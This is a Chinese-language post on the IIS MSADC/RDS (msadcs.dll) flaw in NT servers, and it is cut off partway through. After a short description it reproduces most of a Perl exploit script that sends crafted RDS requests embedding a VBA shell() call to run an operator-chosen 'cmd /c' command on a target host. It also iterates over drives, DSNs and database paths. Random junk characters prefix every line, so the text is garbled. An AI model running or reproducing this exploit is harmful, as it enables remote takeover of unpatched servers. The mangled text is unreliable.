IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
WPbWG$Li sA6Ku(9 涉及程序:
"n'LF?/H' Microsoft NT server
-26GOS_8z -.#He 描述:
>C|/%$kk:f 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
C/nzlp~ [ Tv!Pc 详细:
6fxf|R\ 如果你没有时间读详细内容的话,就删除:
,]ALyWGuX c:\Program Files\Common Files\System\Msadc\msadcs.dll
?<@yo&) 有关的安全问题就没有了。
`9%Q2Al q!l[^t|; 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
oe1Dm adEcIvN$ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
4BSSJ@z 关于利用ODBC远程漏洞的描述,请参看:
DkO>?n:-C F[ca4_lK http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 71GLqn? Umwd<o 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
imE5$; http://www.microsoft.com/security/bulletins/MS99-025faq.asp z1oikg:?4 kzs}U'U 这里不再论述。
0q%=Vs~@g zw=as9z1- 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
ebF},Q(48 =d_@k[8<0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
A]nDI:pO| 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
GvQ|+vC IyE9G:fY =Mc]FCV #将下面这段保存为txt文件,然后: "perl -x 文件名"
pf.T{/% @nN+F,phx #!perl
l\8l.xP #
h[d|y_)f # MSADC/RDS 'usage' (aka exploit) script
"yMr\jt~- #
_tE$a3` # by rain.forest.puppy
7Kx3G{5ja #
,wmPK;j # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&Vi"m!Bf # beta test and find errors!
D]+tr% $jb3#Rj4 use Socket; use Getopt::Std;
~Ra1Zc$o: getopts("e:vd:h:XR", \%args);
O2{_:B>K[ 8xUmg& print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
fTM^:vkO $UlA_l29 if (!defined $args{h} && !defined $args{R}) {
Jrlc%,pZ print qq~
Py 8o8* H Usage: msadc.pl -h <host> { -d <delay> -X -v }
1 'EMYQ -h <host> = host you want to scan (ip or domain)
9s)YPlDz -d <seconds> = delay between calls, default 1 second
7I4G:-V:^ -X = dump Index Server path table, if available
/IVw}:G -v = verbose
Yg%V -e = external dictionary file for step 5
n15c1=gs hB<.u Or a -R will resume a command session
{rOz[E9vm PpN+q:( ~; exit;}
VIbm%b$~ hBLg;"=Em $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
kYs2AzS{d if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
T$%u=$E%F if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
t]FFGnBZ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
_*Vq1D ]C $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
`(.ue8T if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
fE)+9! Xu HJy if (!defined $args{R}){ $ret = &has_msadc;
' 7>}I{Lq die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
]@ETQ8QN n<yV]i$ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
:KX/GN!n . "cmd /c ";
D'O[0?N"g $in=<STDIN>; chomp $in;
(B]Vw+/ $command="cmd /c " . $in ;
ycw'>W3.* . 36'=K if (defined $args{R}) {&load; exit;}
~2A<fL,- 2~h)'n7Mw print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
wSV[nK &try_btcustmr;
n2,b~S\e C& Nd|c print "\nStep 2: Trying to make our own DSN...";
3{CGYd]_u &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
40%p
lNPj 5
+(YcV(" print "\nStep 3: Trying known DSNs...";
B5B'H3@ &known_dsn;
9'//_ A, pS%,wjb&P print "\nStep 4: Trying known .mdbs...";
r(vk2Qy &known_mdb;
@ n;WVG XfbkK )d if (defined $args{e}){
`j=CzZ*em? print "\nStep 5: Trying dictionary of DSN names...";
HdWghxz?) &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
L1)?5D 'zT/x`V print "Sorry Charley...maybe next time?\n";
y
L&n) exit;
"c\T uX}M0W ##############################################################################
9M01} BzWmV.5 sub sendraw { # ripped and modded from whisker
wm2Q(l*HH sleep($delay); # it's a DoS on the server! At least on mine...
P!bm$h*3? my ($pstr)=@_;
HTx7._b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
DU1,i&( die("Socket problems\n");
AS;{O>}54 if(connect(S,pack "SnA4x8",2,80,$target)){
I8^z\ef& select(S); $|=1;
2
H^9Qd print $pstr; my @in=<S>;
:^iR&`2~ select(STDOUT); close(S);
m@HU;J\I return @in;
6oUT+^z# } else { die("Can't connect...\n"); }}
A;kAAM yxA0#6so ##############################################################################
p3x(:= O~aS&g/sf sub make_header { # make the HTTP request
c1n? @L my $msadc=<<EOT
RI*Q-n{ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'inWV* P*g User-Agent: ACTIVEDATA
9pjk3a Host: $ip
>656if O Content-Length: $clen
$k!@e M/R Connection: Keep-Alive
=
)(; 8:M~m]Z+| ADCClientVersion:01.06
tU)+q?Mw Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ied<1[~S jJ?3z,h --!ADM!ROX!YOUR!WORLD!
y5R6/*;N. Content-Type: application/x-varg
e dD(s5 Content-Length: $reqlen
O>k. sO
< +p43d:[ EOT
fwl
RwH( ; $msadc=~s/\n/\r\n/g;
l{y~N return $msadc;}
!Sw7!h.ut ]q?<fEG2< ##############################################################################
}Rt<^oya* *YDx6\><
sub make_req { # make the RDS request
v.Q)Obyn my ($switch, $p1, $p2)=@_;
MOOL=Um3 my $req=""; my $t1, $t2, $query, $dsn;
=n#xnZ3 ke/o11LP if ($switch==1){ # this is the btcustmr.mdb query
bo@1c0 $query="Select * from Customers where City=" . make_shell();
I.(
9{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ex29rL3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
b9\=NdyCY 6w@l#p elsif ($switch==2){ # this is general make table query
xwz2N5 $query="create table AZZ (B int, C varchar(10))";
2KPXRK $dsn="$p1";}
L:%h]- AalyEn&> elsif ($switch==3){ # this is general exploit table query
zfxxPL' $query="select * from AZZ where C=" . make_shell();
G-;pMFP(? $dsn="$p1";}
L;v#9^Fq :/1WJG:! elsif ($switch==4){ # attempt to hork file info from index server
-aec1+o $query="select path from scope()";
]p$fEW g $dsn="Provider=MSIDXS;";}
\9 ^wM>U 7,
O_'T & elsif ($switch==5){ # bad query
<K2 )v~ $query="select";
ousoG$Pc $dsn="$p1";}
30B!hj$C L%=u&9DmU $t1= make_unicode($query);
s3t{freM $t2= make_unicode($dsn);
rVZkG,Q $req = "\x02\x00\x03\x00";
iXXgPapz $req.= "\x08\x00" . pack ("S1", length($t1));
.Z9Bbab: $req.= "\x00\x00" . $t1 ;
Aw >DZ2 $req.= "\x08\x00" . pack ("S1", length($t2));
[dUW3}APV $req.= "\x00\x00" . $t2 ;
38JvJR yK} $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
r_Xk: return $req;}
t&-7AjS5 [,lBY-Kz+ ##############################################################################
! 5 ]/2 MF>?! ! sub make_shell { # this makes the shell() statement
hGzj}t
W8d return "'|shell(\"$command\")|'";}
0naegy?, R{Cj]:Ky ##############################################################################
C
!uwD a N_M sub make_unicode { # quick little function to convert to unicode
,Y}HP3
my ($in)=@_; my $out;
.,feRK>3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&Tl3\T0D return $out;}
;B!&( 50e z+Y0Zh";/# ##############################################################################
+AXui|mn ]BX|G`CCc sub rdo_success { # checks for RDO return success (this is kludge)
7TlOF my (@in) = @_; my $base=content_start(@in);
j].XVn, if($in[$base]=~/multipart\/mixed/){
@#;~_?$?C return 1 if( $in[$base+10]=~/^\x09\x00/ );}
CSIW|R@
return 0;}
V\4'Hd T+Du/ERL ##############################################################################
yA=#Ji Ptn0;GC sub make_dsn { # this makes a DSN for us
{ge^&l my @drives=("c","d","e","f");
w8$8P print "\nMaking DSN: ";
@2Z{en? foreach $drive (@drives) {
REc69Y.k print "$drive: ";
mM!Gomp my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
r m\] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+<&_1%5+ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
o yK'h9Wt1 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
z'j4^Xz?%$ return 0 if $2 eq "404"; # not found/doesn't exist
RMDzPda. if($2 eq "200") {
UM3}7| foreach $line (@results) {
lE'2\kxI? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]]V|[g&aJ } return 0;}
>-0Rq[) Z<@0~t_:?p ##############################################################################
\0).
ODA( $mgW|TBXCQ sub verify_exists {
YZMSiDv[e my ($page)=@_;
Vo"Wr>F my @results=sendraw("GET $page HTTP/1.0\n\n");
P XKEqcQR return $results[0];}
[+
Kjun_ ]{s0/(EA ##############################################################################
=;ClOy9 i}[cq_wJ sub try_btcustmr {
)[+82~F my @drives=("c","d","e","f");
";yey ] my @dirs=("winnt","winnt35","winnt351","win","windows");
u0zF:: C3)*Mn3%P foreach $dir (@dirs) {
~G,_4}#"pM print "$dir -> "; # fun status so you can see progress
w;W# 'pE foreach $drive (@drives) {
]l>LU2 sx print "$drive: "; # ditto
%PM&`c98z7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
{bHUZen
$reqlenlen=length( "$reqlen" );
!K*(# [ $clen= 206 + $reqlenlen + $reqlen;
{7'Wi$^F x{4{.s%+: my @results=sendraw(make_header() . make_req(1,$drive,$dir));
WX6}@mS. if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%;_94!(hC else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Xdh2 ^F,sV* ##############################################################################
2. '` mGu 0xVw{k}1U sub odbc_error {
=HMa<"-8 my (@in)=@_; my $base;
x<5ARK6\= my $base = content_start(@in);
%|j`z?i| if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
y^Uh<L0M $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Kv0V`}<Yc $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*IX<&u# $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
v|\3FEu@ return $in[$base+4].$in[$base+5].$in[$base+6];}
aKjP{Z0k$ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
5(>SFxz"t print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)G#mC0?PV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
/|q.q ysapvQN_6 ##############################################################################
VWq]w5oQO '_d4[Olu sub verbose {
5EU~T.4C< my ($in)=@_;
7UIf return if !$verbose;
{Y-~7@ print STDOUT "\n$in\n";}
`+z^#3l A]Bf&+V ##############################################################################
5skxixG mww<Xm' sub save {
vAp<Muj(a my ($p1, $p2, $p3, $p4)=@_;
m<H{@ZgN( open(OUT, ">rds.save") || print "Problem saving parameters...\n";
n,U?]mr print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ZDg(D" close OUT;}
KpA1Ac)T ?4A/?Z]ub ##############################################################################
&AN1xcx\ B (Ps/ sub load {
cbN;Kv?ak} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m g,1*B' open(IN,"<rds.save") || die("Couldn't open rds.save\n");
,qx^D @p=<IN>; close(IN);
T/a=z $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
4-~Z{#- $target= inet_aton($ip) || die("inet_aton problems");
o]EL=j print "Resuming to $ip ...";
vJL Gy] $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[Ur\^wS if($p[1]==1) {
NMe{1RM $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
%xN${4)6 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
]}dQ~lOE my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
k,[*h-{8 if (rdo_success(@results)){print "Success!\n";}
D"rbQXR7$ else { print "failed\n"; verbose(odbc_error(@results));}}
#MKM.T,\t elsif ($p[1]==3){
#=t/wAE y: if(run_query("$p[3]")){
Jy5sZ}t[ print "Success!\n";} else { print "failed\n"; }}
u<Y#J,p`e elsif ($p[1]==4){
_Ao$)Gu) if(run_query($drvst . "$p[3]")){
"$XX4w
M print "Success!\n"; } else { print "failed\n"; }}
sxsb)a exit;}
zw['hqW yVII<ImqIH ##############################################################################
+? h}e ];Z6=9n sub create_table {
'C/yQvJ
my ($in)=@_;
GL=}Vu`(* $reqlen=length( make_req(2,$in,"") ) - 28;
/M_$4O;*@ $reqlenlen=length( "$reqlen" );
oQ 2$z8 $clen= 206 + $reqlenlen + $reqlen;
)rq |t9kix my @results=sendraw(make_header() . make_req(2,$in,""));
>~SS^I0 return 1 if rdo_success(@results);
r/2=
nE my $temp= odbc_error(@results); verbose($temp);
ZUHRATT- return 1 if $temp=~/Table 'AZZ' already exists/;
7~SwNt, return 0;}
`PC9t)%.pV F}5d>nw ##############################################################################
6Q^~O*cw +{1.kb
Zq sub known_dsn {
gxN>q4z # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
lG}#K^q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
H/c
(m|KK "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
]3rVULU"K- "banner", "banners", "ads", "ADCDemo", "ADCTest");
Iko]c_W0 LWyr foreach $dSn (@dsns) {
g w"
\pD
print ".";
N-gYamlQ next if (!is_access("DSN=$dSn"));
fbNzRXw if(create_table("DSN=$dSn")){
!R=@Nr> print "$dSn successful\n";
M2O_kOeZ if(run_query("DSN=$dSn")){
unLhI0XW print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
TIWR[r1! print "Something's borked. Use verbose next time\n";}}} print "\n";}
(k?HT'3) G3~`]qf
##############################################################################
d~Z\%4 b6bs . sub is_access {
yO q@w!xz my ($in)=@_;
;f[lq^eV $reqlen=length( make_req(5,$in,"") ) - 28;
E5w;75, $reqlenlen=length( "$reqlen" );
9af.t $clen= 206 + $reqlenlen + $reqlen;
<Dd>- K my @results=sendraw(make_header() . make_req(5,$in,""));
O`B,mgT( my $temp= odbc_error(@results);
<h/%jM>9/ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{~3QBMx6 return 0;}
`7CK;NeT jN\u}!\O ##############################################################################
Cf
2@x i"WYcF| sub run_query {
*'?7OL my ($in)=@_;
+(W1x
C0 $reqlen=length( make_req(3,$in,"") ) - 28;
FJ:^pROpm $reqlenlen=length( "$reqlen" );
']r8q % $clen= 206 + $reqlenlen + $reqlen;
pk :P;\ my @results=sendraw(make_header() . make_req(3,$in,""));
WMSJU/-P return 1 if rdo_success(@results);
JZ:@iI5>+ my $temp= odbc_error(@results); verbose($temp);
v1.3gzR return 0;}
CkT(\6B- DxJ;C09xNa ##############################################################################
]:P7}Kpb Yc:%2KZ" sub known_mdb {
(N7uaZ?Z my @drives=("c","d","e","f","g");
V!W.P my @dirs=("winnt","winnt35","winnt351","win","windows");
qCV<-o my $dir, $drive, $mdb;
,o&C"sb my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
S#7YJ7
K"N MUO<o # this is sparse, because I don't know of many
^"WVE[" my @sysmdbs=( "\\catroot\\icatalog.mdb",
0!T`.UMI "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
YmziHns`b "\\system32\\certmdb.mdb",
b:m+I
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
[nTI\17iA GJ+ ^t my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
P {TJ$ "\\cfusion\\cfapps\\forums\\forums_.mdb",
cHs3:F~~ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
8xAV[i "\\cfusion\\cfapps\\security\\realm_.mdb",
Mo,&h?VOM? "\\cfusion\\cfapps\\security\\data\\realm.mdb",
/yOx=V "\\cfusion\\database\\cfexamples.mdb",
/wV|;D^ ) "\\cfusion\\database\\cfsnippets.mdb",
3Q=^&o